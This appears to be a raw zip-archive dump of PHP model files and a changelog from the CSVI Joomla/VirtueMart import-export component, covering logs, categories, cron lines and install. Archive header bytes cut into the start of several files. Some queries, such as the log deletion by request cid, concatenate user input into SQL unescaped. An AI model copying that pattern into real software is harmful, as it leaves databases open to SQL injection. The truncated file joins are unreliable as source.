run_cancelled'); $query->from('#__csvi_logs AS l'); // Add all the filters $filters = array(); if ($this->getState('filter.action')) $filters[] = $db->quoteName('action').' = '.$db->Quote($this->getState('filter.action')); if (!empty($filters)) { // Add the clauses to the query. $query->where('('.implode(' AND ', $filters).')'); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->getEscaped($orderCol.' '.$orderDirn)); return $query; } /** * Set the log ID * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function setId($id) { $this->_id = $id; } /** * Store the log results after import/export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ public function getStoreLogResults() { // Load the settings $jinput = JFactory::getApplication()->input; $settings = $jinput->get('settings', null, null); if ($settings->get('log.log_store', 1)) { $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $logresult = $csvilog->getStats(); $details = array(); $logcount = array(); // Get the number of lines processed based on type switch ($logresult['action']) { case 'import': $logcount['import'] = $jinput->get('recordsprocessed', 0, 'int'); break; case 'export': $logcount['export'] = $jinput->get('logcount', 0, 'int'); break; case 'maintenance': $logcount['maintenance'] = $csvilog->GetLineNumber(); break; } // Get the database connector $rowlog = $this->getTable('csvi_logs'); // Check for an existing ID if (!$csvilog->getLogid()) { // Get user ID $my = JFactory::getUser(); $details['userid'] = $my->id; // Create GMT timestamp jimport('joomla.utilities.date'); $jnow = new JDate(time()); $details['logstamp'] = $jnow->toMySQL(); // Set action if it is import or export $details['action'] = $logresult['action']; // Type of action $details['action_type'] = $logresult['action_type']; // Name of template used $details['template_name'] = $logresult['action_template']; // Get the number of records $details['records'] = $logcount[$logresult['action']]; // Get the import ID $details['run_id'] = $csvilog->getId(); // Get the import filename $details['file_name'] = $csvilog->getFilename(); // Bind the data if (!$rowlog->bind($details)) { JError::raiseWarning(0, JText::_('COM_CSVI_CANNOT_BIND_LOG_DATA')); } // Check the data if (!$rowlog->check()) { JError::raiseWarning(0, JText::_('COM_CSVI_CANNOT_CHECK_LOG_DATA')); } // Store the data if (!$rowlog->store()) { JError::raiseWarning(0, JText::_('COM_CSVI_CANNOT_STORE_LOG_DATA')); } else { // Clean up any old logs $csvilog->cleanUpLogs(); } $csvilog->setLogid($rowlog->id); $rowlog->reset(); } else { $rowlog->load($csvilog->getLogid()); if (array_key_exists('action', $logresult) && isset($logcount[$logresult['action']])) $rowlog->records = $logcount[$logresult['action']]; else $rowlog->records = 0; $rowlog->store(); } // Store the log details if (is_array($logresult) && !empty($logresult)) { $q = 'INSERT INTO `#__csvi_log_details` ( `id`,`log_id`,`line`,`description`,`result`,`status` ) VALUES '; $qvalue = ''; foreach ($logresult as $linenr => $result) { if (is_int($linenr)) { foreach ($result['status'] as $status => $stat) { $qvalue .= "(0, ".$csvilog->getLogid().", ".$linenr.", ".$db->Quote(trim($stat['message'])).", '".$stat['result']."', '".$status."'),\n"; } } } if (!empty($qvalue)) { $q .= substr(trim($qvalue), 0, -1).';'; $db->setQuery($q); if ($db->query()) $csvilog->cleanStats(); } else $csvilog->cleanStats(); } } } /** * Delete 1 or more selected log entries * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of results * @since 3.0 */ public function getDelete() { $jinput = JFactory::getApplication()->input; jimport('joomla.filesystem.file'); $db = JFactory::getDBO(); $cids = $jinput->get('cid', array(), 'array'); $file_not_found = 0; $file_deleted = 0; $file_not_deleted = 0; $log_del = 0; $log_del_error = 0; $log_detail_del = 0; $log_detail_del_error = 0; // Make it an array if (!is_array($cids)) (array)$cids; $rowlog = $this->getTable('csvi_logs'); foreach ($cids as $key => $run_id) { $filename = CSVIPATH_DEBUG.'/com_csvi.log.'.$run_id.'.php'; if (JFile::exists($filename)){ if (JFile::delete($filename)) { $file_deleted++; } else $file_not_deleted++; } else $file_not_found++; // Delete the log entry if (empty($run_id)) $q = "SELECT id FROM #__csvi_logs WHERE (run_id = '' OR run_id IS NULL)"; else $q = "SELECT id FROM #__csvi_logs WHERE run_id = ".$run_id; $db->setQuery($q); $ids = $db->loadResultArray(); foreach ($ids as $idkey => $id) { if (!$rowlog->delete($id)) $log_del_error++; else { $log_del++; } // Delete the log details $q = "DELETE FROM #__csvi_log_details WHERE log_id = ".$id; $db->setQuery($q); if (!$db->query()) $log_detail_del_error++; else $log_detail_del++; } } // Set the results $results = array(); if ($file_not_found > 0) { if ($file_not_found == 1) $results['ok'][] = JText::_('COM_CSVI_DELETE_LOG_FILE_NOT_FOUND'); else $results['ok'][] = JText::sprintf('COM_CSVI_DELETE_LOGS_FILE_NOT_FOUND', $file_not_found); } if ($file_deleted > 0) { if ($file_deleted == 1) $results['ok'][] = JText::_('COM_CSVI_DELETE_LOG_FILE'); else $results['ok'][] = JText::sprintf('COM_CSVI_DELETE_LOGS_FILE', $file_deleted); } if ($file_not_deleted > 0) { if ($file_not_deleted == 1) $results['nok'][] = JText::_('COM_CSVI_CANNOT_DELETE_LOG_FILE'); else $results['nok'][] = JText::sprintf('COM_CSVI_CANNOT_DELETE_LOGS_FILE', $file_not_deleted); } if ($log_del > 0) { if ($log_del == 1) $results['ok'][] = JText::_('COM_CSVI_DELETE_LOG_DATA'); else $results['ok'][] = JText::sprintf('COM_CSVI_DELETE_LOGS_DATA', $log_del); } if ($log_del_error > 0) { if ($log_del == 1) $results['nok'][] = JText::_('COM_CSVI_CANNOT_DELETE_LOG_DATA'); else $results['nok'][] = JText::sprintf('COM_CSVI_CANNOT_DELETE_LOGS_DATA', $log_del); } if ($log_detail_del > 0) { if ($log_del == 1) $results['ok'][] = JText::_('COM_CSVI_DELETE_LOG_DETAILS_DATA'); else $results['ok'][] = JText::sprintf('COM_CSVI_DELETE_LOGS_DETAILS_DATA', $log_detail_del); } if ($log_detail_del_error > 0) { if ($log_del == 1) $results['nok'][] = JText::_('COM_CSVI_CANNOT_DELETE_LOG_DETAILS_DATA'); else $results['nok'][] = JText::sprintf('COM_CSVI_CANNOT_DELETE_LOGS_DETAILS_DATA', $log_detail_del_error); } return $results; } /** * Delete all log entries * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of results * @since 3.0 */ public function getDeleteAll() { $db = JFactory::getDBO(); $results = array(); // Empty the log table $q = "TRUNCATE ".$db->quoteName('#__csvi_logs'); $db->setQuery($q); if ($db->query()) $results['ok'][] = JText::_('COM_CSVI_DELETE_LOG_DATA_ALL_OK'); else $results['nok'][] = JText::_('COM_CSVI_DELETE_LOG_DATA_ALL_NOK'); // Empty the log details table $q = "TRUNCATE ".$db->quoteName('#__csvi_log_details'); $db->setQuery($q); if ($db->query()) $results['ok'][] = JText::_('COM_CSVI_DELETE_LOG_DATA_DETAILS_ALL_OK'); else $results['nok'][] = JText::_('COM_CSVI_DELETE_LOG_DATA_DETAILS_ALL_NOK'); return $results; } /** * Load the statistics for displaying * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStats() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); if ($csvilog) $run_id = $csvilog->getId(); else if ($jinput->get('run_id', '', 'int') > 0) $run_id = $jinput->get('run_id', '', 'int'); else { // Try to get it from the cid $cids = $jinput->get('cid', array(), 'array'); if (is_array($cids) && array_key_exists('0', $cids)) $run_id = $cids[0]; else return false; } $details = array(); if ($run_id) { jimport('joomla.filesystem.file'); // Add the run ID $details['run_id'] = $run_id; // Get the total number of records $q = "SELECT SUM(records) AS total_records FROM #__csvi_logs WHERE run_id = ".$run_id; $db->setQuery($q); $details['total_records'] = $db->loadResult(); // Get the general details $q = "SELECT MIN(id) AS min_id, MAX(id)+1 AS max_id, file_name, action, action_type, run_cancelled FROM #__csvi_logs WHERE run_id = ".$run_id." GROUP BY id"; $db->setQuery($q); $min_max = $db->loadObject(); if (!empty($min_max)) { // Protect against 'record not found' // Set the filename $details['file_name'] = $min_max->file_name; // Set the action $details['action'] = $min_max->action; // Set the action type $details['action_type'] = $min_max->action_type; // Set if the action was cancelled $details['run_cancelled'] = $min_max->run_cancelled; // Get some status results $q = "SELECT COUNT(status) AS total_result, result, status FROM #__csvi_log_details WHERE log_id BETWEEN ".$min_max->min_id." AND ".$min_max->max_id." GROUP BY status"; $db->setQuery($q); $details['result'] = $db->loadObjectList('status'); } // Check if there is a debug log file $logfile = CSVIPATH_DEBUG.'/com_csvi.log.'.$run_id.'.php'; if (JFile::exists($logfile)) { $details['debug'] = JHtml::_('link', JRoute::_('index.php?option=com_csvi&task=log.downloaddebug&run_id='.$run_id), JText::_('COM_CSVI_DOWNLOAD_DEBUG_LOG')); $attribs = 'class="modal" onclick="" rel="{handler: \'iframe\', size: {x: 950, y: 500}}"'; $details['debugview'] = JHtml::_('link', JRoute::_('index.php?option=com_csvi&task=log.logreader&tmpl=component&run_id='.$run_id), JText::_('COM_CSVI_VIEW_DEBUG_LOG'), $attribs); } else { $details['debug'] = JText::_('COM_CSVI_NO_DEBUG_LOG_FOUND'); $details['debugview'] = ''; } } return $details; } /** * Load the statistics */ public function getStatsMessage() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $run_id = $jinput->get('run_id', false, 'int'); if (!$run_id) { /* Try to get it from the cid */ $cids = $jinput->get('cid', array(), 'array'); if (is_array($cids) && array_key_exists('0', $cids)) $run_id = $cids[0]; else return false; } $details = array(); if ($run_id) { $q = "SELECT line, description, status, log_id, result FROM #__csvi_log_details WHERE log_id IN (SELECT id FROM #__csvi_logs WHERE run_id = ".$run_id.") ORDER BY line"; $db->setQuery($q); $details = $db->loadObjectList(); } return $details; } /** * Download a debug report */ public function downloadDebug() { jimport('joomla.filesystem.file'); jimport('joomla.filesystem.archive'); $jinput = JFactory::getApplication()->input; $run_id = $jinput->get('run_id', 0, 'int'); $filepath = CSVIPATH_DEBUG.'/'; $filename = 'com_csvi.log.'.$run_id.'.'; $zip = JArchive::getAdapter('zip'); $files = array(); $files[] = array('name' => $filename.'php', 'time' => filemtime($filepath.$filename.'php'), 'data' => JFile::read($filepath.$filename.'php')); $zip->create($filepath.$filename.'zip', $files); if (preg_match('/Opera[\s|\/]([^\s]+)/i', $_SERVER['HTTP_USER_AGENT'])) { $UserBrowser = "Opera"; } elseif (preg_match('/MSIE\s([^\s|;]+)/i', $_SERVER['HTTP_USER_AGENT'])) { $UserBrowser = "IE"; } else { $UserBrowser = ''; } $mime_type = ($UserBrowser == 'IE' || $UserBrowser == 'Opera') ? 'application/octetstream' : 'application/octet-stream'; /* Clean the buffer */ while( @ob_end_clean() ); header('Content-Description: File Transfer'); header('Content-Type: ' . $mime_type); header('Content-Transfer-Encoding: binary'); header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT'); header('Content-Length: ' . filesize($filepath.$filename.'zip')); if ($UserBrowser == 'IE') { header('Content-Disposition: inline; filename="'.$filename.'zip"'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); } else { header('Content-Disposition: attachment; filename="'.$filename.'zip"'); header('Pragma: no-cache'); } /* Send the file */ readfile($filepath.$filename.'zip'); JFile::delete($filepath.$filename.'zip'); /* Close the transmission */ exit(); } /** * Get the action types * * @author RolandD * @access public * @return array list of action types */ public function getActionTypes() { $db = JFactory::getDbo(); $options = array(); $options[] = JHtml::_('select.option', '', JText::_('COM_CSVI_LOG_DONT_USE')); $q = "SELECT UPPER(action) FROM #__csvi_logs GROUP BY action"; $db->setQuery($q); $actions = $db->loadResultArray(); if (!empty($actions)) { foreach ($actions as $action) { $options[] = JHTML::_('select.option', $action, JText::_('COM_CSVI_'.$action)); } } return $options; } /** * Reads a log file and displays its results * * @author RolandD * @since 2.3.11 * @access public * @return array of log lines */ public function getLogfile() { $jinput = JFactory::getApplication()->input; $run_id = $jinput->get('run_id', 0, 'int'); $log = array(); if ($run_id > 0) { $logfile = CSVIPATH_DEBUG.'/com_csvi.log.'.$run_id.'.php'; $loglines = array(); if (file_exists($logfile)) { $loglines = file($logfile); foreach ($loglines as $key => $line) { switch ($key) { case '0': // Skip the first line break; case '1': // Get the date if (strstr($line, ':')) { list($text, $value) = explode(': ', $line); } else $value = ''; $log['date'] = $value; break; case '2': // Get the Joomla version if (strstr($line, ':')) { list($text, $value) = explode(': ', $line); } else $value = ''; $log['joomla'] = $value; break; case '3': // This is an empty line break; case '4': // Get the fields if (strstr($line, ':')) { list($text, $value) = explode(': ', $line); $fields = preg_split("/\t/", $value); foreach ($fields as $fkey => $field) { $log['fields'][] = $field; } } else $log['fields'] = array(); break; default: // The actual log lines $log['entries'][] = preg_split("/\t/", $line); break; } } } } return $log; } } ?>PK@y>\UȲ,,'components/com_csvi/models/category.phpnuW+A_tables_loaded) $this->_loadTables(); } /** * Gets the ID belonging to the category path * * @copyright * @author RolandD * @todo * @see * @access public * @param string $category_path the path to get the ID for * @param int $vendor_id the vendor ID the category belongs to * @return array containing category_id * @since 3.0 */ public function getCategoryIdFromPath($category_path, $vendor_id=1) { // Check for any missing categories, otherwise create them $category = $this->_csvCategory($category_path, $vendor_id); return array('category_id' => $category[0]); } /** * Inserts the category/categories for a product * * Any existing categories will be removed first, after that the new * categories will be imported. * * @copyright * @author RolandD * @todo * @see _csvCategory() * @access * @param integer $product_id contains the product ID the category/categories belong to * @param integer $category_path contains the category/categories path for the product * @param integer $category_id contains a single or array of category IDs * @param integer $product_list the product order in the category * @param integer $vendor_id the id of the vendor the category belongs to * @return * @since */ public function checkCategoryPath($product_id=false, $category_path=false, $category_id=false, $ordering='NULL', $vendor_id=1) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $csvilog->addDebug('Checking category'); // Check if there is a product ID if (!$product_id) return false; else { // If product_parent_id is true, we have a child product, child products do not have category paths // We have a category path, need to find the ID if (!$category_id) { // Use CsvCategory() method to confirm/add category tree for this product // Modification: $category_id now is an array $category_id = $this->_csvCategory($category_path, $vendor_id); } // We have a category_id, no need to find the path if ($category_id) { // Delete old entries only if the user wants us to if (!$template->get('append_categories', 'product', false)) { $db = JFactory::getDBO(); $q = "DELETE FROM #__virtuemart_product_categories WHERE virtuemart_product_id = ".$product_id; $db->setQuery($q); $db->query(); $csvilog->addDebug(JText::_('COM_CSVI_DELETE_OLD_CATEGORIES_XREF'), true); } else $csvilog->addDebug(JText::_('COM_CSVI_NOT_DELETE_OLD_CATEGORIES_XREF')); // Insert new product/category relationships $category_xref_values = array('virtuemart_product_id' => $product_id, 'ordering' => $ordering); foreach( $category_id as $value ) { $category_xref_values['virtuemart_category_id'] = $value; $this->_product_categories_xref->bind($category_xref_values); $this->_product_categories_xref->store(); $this->_product_categories_xref->reset(); $category_xref_values['virtuemart_category_id'] = ''; } } } } /** * Load the category related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_categories = $this->getTable('categories'); $this->_categories_lang = $this->getTable('categories_lang'); $this->_categories_xref = $this->getTable('categories_xref'); $this->_product_categories_xref = $this->getTable('product_categories_xref'); $this->_tables_loaded = true; } /** * Cleaning the product related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _cleanTables() { $this->_categories->reset(); $this->_categories_lang->reset(); $this->_categories_xref->reset(); // Clean the local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') $this->$name = $value; } } /** * Creates categories from slash delimited line * * @copyright * @author John Syben, RolandD * @todo * @see * @access * @param array $category_path contains the category/categories for a product * @param int $vendor_id the id of the vendor the category belongs to * @return array containing category IDs * @since */ private function _csvCategory($category_path, $vendor_id=1) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Load the category separator if (is_null($this->_catsep)) { $this->_catsep = $template->get('category_separator', 'general', '/'); } // Check if category_path is an array, if not make it one if (!is_array($category_path)) $category_path = array($category_path); // Get all categories in this field delimited with | foreach ($category_path as $line) { $csvilog->addDebug('Checking category path: '.$line); // Explode slash delimited category tree into array $category_list = explode($this->_catsep, $line); $category_count = count($category_list); $category_parent_id = '0'; // For each category in array for($i = 0; $i < $category_count; $i++) { // Check the cache first if (array_key_exists($category_parent_id.'.'.$category_list[$i], $this->_category_cache)) { $category_id = $this->_category_cache[$category_parent_id.'.'.$category_list[$i]]; } else { // See if this category exists with it's parent in xref $lang = $template->get('language', 'general'); $query = $db->getQuery(true); $query->select('c.virtuemart_category_id'); $query->from('#__virtuemart_categories c'); $query->leftJoin('#__virtuemart_category_categories x ON c.virtuemart_category_id = x.category_child_id'); $query->leftJoin('#__virtuemart_categories_'.$lang.' l ON l.virtuemart_category_id = c.virtuemart_category_id'); $query->where('l.category_name = '.$db->Quote($category_list[$i])); $query->where('x.category_child_id = c.virtuemart_category_id'); $query->where('x.category_parent_id = '.$category_parent_id); $db->setQuery($query); $category_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_CATEGORY_EXISTS'), true); // Add result to cache $this->_category_cache[$category_parent_id.'.'.$category_list[$i]] = $category_id; } // Category does not exist - create it if (is_null($category_id)) { $timestamp = time(); // Let's find out the last category in the level of the new category $query = $db->getQuery(true); $query->select('MAX(c.ordering) + 1 AS ordering'); $query->from('#__virtuemart_categories c'); $query->leftJoin('#__virtuemart_category_categories x ON c.virtuemart_category_id = x.category_child_id'); $query->where('x.category_child_id = c.virtuemart_category_id'); $query->where('x.category_parent_id = '.$category_parent_id); $db->setQuery($query); $list_order = $db->loadResult(); if (is_null($list_order)) $list_order = 1; // Find the category and flypage setting $configname = 'Csvi'.$template->get('component', 'options').'_Config'; $config = new $configname(); // Add category $this->_categories->set('virtuemart_vendor_id', $vendor_id); $this->_categories->set('created_on', $timestamp); $this->_categories->set('modified_on', $timestamp); $this->_categories->set('ordering', $list_order); $this->_categories->set('published', $this->category_publish); $this->_categories->set('category_template', $config->get('categorytemplate')); $this->_categories->set('category_layout', $config->get('categorylayout')); $this->_categories->set('products_per_row', $config->get('products_per_row')); $this->_categories->set('category_product_layout', $config->get('productlayout')); $this->_categories->store(); $csvilog->addDebug('Add new category:', true); $category_id = $this->_categories->get('virtuemart_category_id'); // Add the category name to the language table $this->_categories_lang->set('virtuemart_category_id', $category_id); $this->_categories_lang->set('category_name', $category_list[$i]); $this->_categories_lang->check(); $this->_categories_lang->store(); // Add result to cache $this->_category_cache[$category_parent_id.'.'.$category_list[$i]] = $category_id; // Create xref with parent $this->_categories_xref->set('category_parent_id', $category_parent_id); $this->_categories_xref->set('category_child_id', $category_id); $this->_categories_xref->store(); $csvilog->addDebug('Add new category xref:', true); // Clean for the next row $this->_categories->reset(); $this->_categories_lang->reset(); $this->_categories_xref->reset(); } // Set this category as parent of next in line $category_parent_id = $category_id; } $category[] = $category_id; } // Return an array with the last category_ids which is where the product goes return $category; } } ?>PK@y>\v#components/com_csvi/models/cron.phpnuW+Ainput; $db = JFactory::getDbo(); $settings = $jinput->get('com_csvi.data', array(), 'array'); $cronline = ''; $notemplate = false; $details = new StdClass; // Get the template used $template_id = $jinput->get('template_id', 0, 'int'); if ($template_id) { $cronline .= ' template_id="'.$template_id.'"'; // Load the template settings to compare against selection $query = $db->getQuery(true); $query->select('settings'); $query->from('#__csvi_template_settings'); $query->where('id = '.$template_id); $db->setQuery($query); $template = new CsviTemplate(json_decode($db->loadResult(), true)); $details->type = $template->get('action', 'options'); } else { $notemplate = true; // Initialise the details $details->type = $settings['options']['action']; } // Check if this is an import or export cron if ($details->type == 'export') { foreach ($settings as $group => $values) { switch($group) { case 'options': break; case 'general': if ($notemplate) $general = $settings['general']; else $general = CsviHelper::recurseArrayDiff($settings['general'], $template->get('general')); foreach ($general as $name => $setting) { switch ($name) { case 'exportto': if (!empty($setting)) { if ($setting == 'todownload') $setting = 'tofile'; $cronline .= ' jform:general:'.$name.'="'.$setting.'" '; } break; case 'localpath': if (!empty($setting)) { if ($template->get('exportto', 'general') == 'todownload' || $template->get('exportto', 'general') == 'tofile') { $cronline .= ' jform:general:'.$name.'="'.$setting.'" '; } } break; default: if (!empty($setting)) $cronline .= ' jform:general:'.$name.'="'.$setting.'" '; break; } } break; case 'export_fields': if ($notemplate) { if (array_key_exists('export_fields', $settings)) $fields = $settings['export_fields']; else $fields = array(); } else $fields = $template->get('export_fields', '', array()); if (!empty($fields)) { $fields['_selected_name'] = CsviHelper::recurseArrayDiff($settings['export_fields']['_selected_name'], $fields['_selected_name']); if (!empty($fields['_selected_name'])) { $cronline .= ' jform:export_fields:_selected_name = "'.implode('|', $settings['export_fields']['_selected_name']).'|"'; $cronline .= ' jform:export_fields:_column_header = "'.implode('|', $settings['export_fields']['_column_header']).'|"'; $cronline .= ' jform:export_fields:_default_value = "'.implode('|', $settings['export_fields']['_default_value']).'|"'; $cronline .= ' jform:export_fields:_process_field = "'.implode('|', $settings['export_fields']['_process_field']).'|"'; } } break; default: if ($notemplate) $values = $settings[$group]; else $values = CsviHelper::recurseArrayDiff($settings[$group], $template->get($group)); $cronline .= $this->_getCronSetting($values, $group); break; } } } else if ($details->type == 'import') { foreach ($settings as $group => $values) { switch($group) { case 'options': break; case 'import_fields': if ($notemplate) { if (array_key_exists('import_fields', $settings)) $fields = $settings['import_fields']; else $fields = array(); } else { // Create a default value $default = array(); $default['_selected_name'][] = ''; $fields = $template->get('import_fields', '', $default); $fields['_selected_name'] = CsviHelper::recurseArrayDiff($settings['import_fields']['_selected_name'], $fields['_selected_name']); } if (!empty($fields)) { if (!empty($fields['_selected_name'])) { $cronline .= ' jform:import_fields:_selected_name = "'.implode('|', $settings['import_fields']['_selected_name']).'|"'; $cronline .= ' jform:import_fields:_default_value = "'.implode('|', $settings['import_fields']['_default_value']).'|"'; $cronline .= ' jform:import_fields:_process_field = "'.implode('|', $settings['import_fields']['_process_field']).'|"'; } } break; default: if ($notemplate) { $values = $settings[$group]; if (!is_array($values)) { $values = array(); $values[$group] = $settings[$group]; } } else $values = CsviHelper::recurseArrayDiff($settings[$group], $template->get($group)); $cronline .= $this->_getCronSetting($values, $group); break; } } } return $cronline; } /** * Build the command to use for the cron command to do a maintenance task * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string the parameters for the cron line * @since 3.0 */ public function getCronLineMaintenance() { $jinput = JFactory::getApplication()->input; $operation = $jinput->get('operation'); $cronline = 'task="maintenance" operation="'.strtolower($operation).'"'; // Handle the ICEcat settings switch ($operation) { case 'icecatindex': $cronline .= ' icecatlocation="'.$jinput->get('icecatlocation', '', 'var').'"'; $cronline .= ' icecat_gzip="'.$jinput->get('icecat_gzip', 1, 'int').'"'; $icecat_options = $jinput->get('icecat', array(), 'var'); if (!empty($icecat_options)) { $cronline .= ' icecat="'.implode('|', $icecat_options).'"'; } break; case 'restoretemplates': $cronline = ' restore_file=""'; break; } return $cronline; } /** * Create the cron parameter * * @copyright * @author RolandD * @todo * @see * @access private * @param string $values array of values to add to the cronline * @param string $type the name of the export type * @return string the command line * @since 3.0 */ private function _getCronSetting($values, $type) { $cronline = ''; if (is_array($values)) { foreach ($values as $name => $setting) { switch ($name) { case 'custom_table': $cronline .= ' jform:'.$type.'="'.$setting.'"'; break; default: if (!empty($setting)) { if (is_array($setting)) { if (!empty($setting[0])) $cronline .= ' jform:'.$type.':'.$name.'="'.implode('|', $setting).'|"'; } else $cronline .= ' jform:'.$type.':'.$name.'="'.$setting.'"'; } break; } } } return $cronline; } } ?>PK@y>\ע!((&components/com_csvi/models/install.phpnuW+A_getVersion(); if (empty($version)) $version = 'current'; return $version; } /** * Start performing the upgrade * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string the result of the upgrade * @since 3.0 */ public function getUpgrade() { // Get the currently installed version $version = $this->_translateVersion(); // Migrate the data in the tables if ($this->_migrateTables($version)) $this->_results['messages'][] = JText::_('COM_CSVI_UPGRADE_OK'); // Update the version number in the database $this->_setVersion(); // Load the components $this->_loadComponents(); // Send the results back return $this->_results; } /** * Migrate the tables * * @copyright * @author RolandD * @todo * @see * @access private * @param string $version the version being migrated from * @return bool true if migration is OK | false if errors occured during migration * @since 3.0 */ private function _migrateTables($version) { $db = JFactory::getDbo(); switch ($version) { case '4.0': break; default: break; } } /** * Proxy function for calling the update the available fields * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getAvailableFields() { // Get the logger class $jinput = JFactory::getApplication()->input; $csvilog = new CsviLog(); $jinput->set('csvilog', $csvilog); $model = $this->getModel('Availablefields'); // Prepare to load the available fields $model->prepareAvailableFields(); // Update the available fields $model->getFillAvailableFields(); } /** * Proxy function for installing sample templates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getSampleTemplates() { $db = JFactory::getDbo(); // Read the example template file $fp = fopen(JPATH_COMPONENT_ADMINISTRATOR.'/install/example_templates.csv', "r"); if ($fp) { while (($data = fgetcsv($fp, 0, ",")) !== FALSE) { $db->setQuery("INSERT IGNORE INTO #__csvi_template_settings (".$db->quoteName('name').", ".$db->quoteName('settings').") VALUES (".$db->Quote($data[0]).", ".$db->Quote($data[1]).")"); if ($db->query()) { $this->_results['messages'][] = JText::sprintf('COM_CSVI_RESTORE_TEMPLATE', $data[0]); } else { $this->_results['messages'][] = $db->getErrorMsg(); $this->_results['messages'][] = JText::sprintf('COM_CSVI_COMPONENT_HAS_NOT_BEEN_ADDED', $file); } } fclose($fp); } } /** * Create a proxy for including other models * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function getModel($model) { return $this->getInstance($model, 'CsviModel'); } /** * Set the current version in the database * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.1 */ private function _setVersion() { $db = JFactory::getDbo(); $q = "INSERT IGNORE INTO #__csvi_settings (id, params) VALUES (2, '".JText::_('COM_CSVI_CSVI_VERSION')."') ON DUPLICATE KEY UPDATE params = '".JText::_('COM_CSVI_CSVI_VERSION')."'"; $db->setQuery($q); $db->query(); } /** * Get the current version in the database * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.2 */ private function _getVersion() { $db = JFactory::getDbo(); $q = "SELECT params FROM #__csvi_settings WHERE id = 2"; $db->setQuery($q); return $db->loadResult(); } /** * Translate version * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return string with the working version * @since 3.5 */ private function _translateVersion() { $jinput = JFactory::getApplication()->input; $version = $jinput->get('version', 'current', 'string'); switch ($version) { case '4.0.1': case '4.1': case '4.2': return '4.0'; break; default: return $version; break; } } /** * Load supported components * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _loadComponents() { $db = JFactory::getDbo(); jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); $files = JFolder::files(JPATH_COMPONENT_ADMINISTRATOR.'/install', '.sql', false, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'availablefields_extra.sql')); if (!empty($files)) { foreach ($files as $file) { $error = false; if (JFile::exists(JPATH_COMPONENT_ADMINISTRATOR.'/install/'.$file)) { $q = JFile::read(JPATH_COMPONENT_ADMINISTRATOR.'/install/'.$file); $queries = $db->splitSql(JFile::read(JPATH_COMPONENT_ADMINISTRATOR.'/install/'.$file)); foreach ($queries as $query) { $query = trim($query); if (!empty($query)) { $db->setQuery($query); if (!$db->query()) { $this->_results['messages'][] = $db->getErrorMsg(); $error = true; } } } if ($error) $this->_results['messages'][] = JText::sprintf('COM_CSVI_COMPONENT_HAS_NOT_BEEN_ADDED', $file); else $this->_results['messages'][] = JText::sprintf('COM_CSVI_COMPONENT_HAS_BEEN_ADDED', $file); } else $this->_results['messages'][] = JText::sprintf('COM_CSVI_COMPONENT_NOT_FOUND', $file); } } } } ?>PK@y>\ ;33#components/com_csvi/models/csvi.phpnuW+APK@y>\=>+components/com_csvi/models/templatetype.phpnuW+AloadForm($this->context, 'templatetype', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) return false; return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_csvi.edit.templatetype.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } } ?> PK@y>\Z00"components/com_csvi/controller.phpnuW+A PK@y>\!components/com_csvi/changelog.txtnuW+ACSVI Free Author: RolandD Cyber Produksi (contact@csvimproved.com) Website: http://www.csvimproved.com/ Version: 5.15 Date: 1 december 2013 Status: $Id: changelog.txt 2549 2013-11-26 01:42:51Z RolandD $ Legenda: + Added - Removed * Fixed / Changed Changelog Version 5.12 Import * Fixed available fields not always set / Cleanup some code * Fixed VirtueMart category and manufacturer import options General * Fixed database error on installation About / Changed the Magic Quotes check Version 5.11 General / Changed the installation routine Version 4.5.5 Import * Fixed custom fields not added correctly Export * Fixed the shopper_group_name and shopper_group_name_price fields Version 4.5.4 Import * Fixed price shopper group check on VirtueMart Product import * Fixed images path not taken on VirtueMart Product import * Fixed product slug on VirtueMart Product import * Fixed VM version not available * Fixed manufacturer category import on VirtueMart Manufacturer Category import Version 4.5.3.2 Export * Fixed custom paramater delimiter in VirtueMart Product export Version 4.5.3.1 Import * Fixed missing config helper Version 4.5.3 Import * Fixed a missing table file Version 4.5.2 Import * Fixed fatal error in VirtueMart Product import for shopper groups + Added shopper_group_name_price to VirtueMart Product import * Fixed product discount price missing mathop for VirtueMart Product import * Fixed images in subfolders on VirtueMart Product import * Fixed images in subfolders on VirtueMart Media import * Fixed issues with accented characters in error reporting / Updated newly created manufacturers are assigned a category on VirtueMart Product import * Fixed product_packaging and product_box on VirtueMart Product import Export * Fixed issue with price field exports General / Let cron use 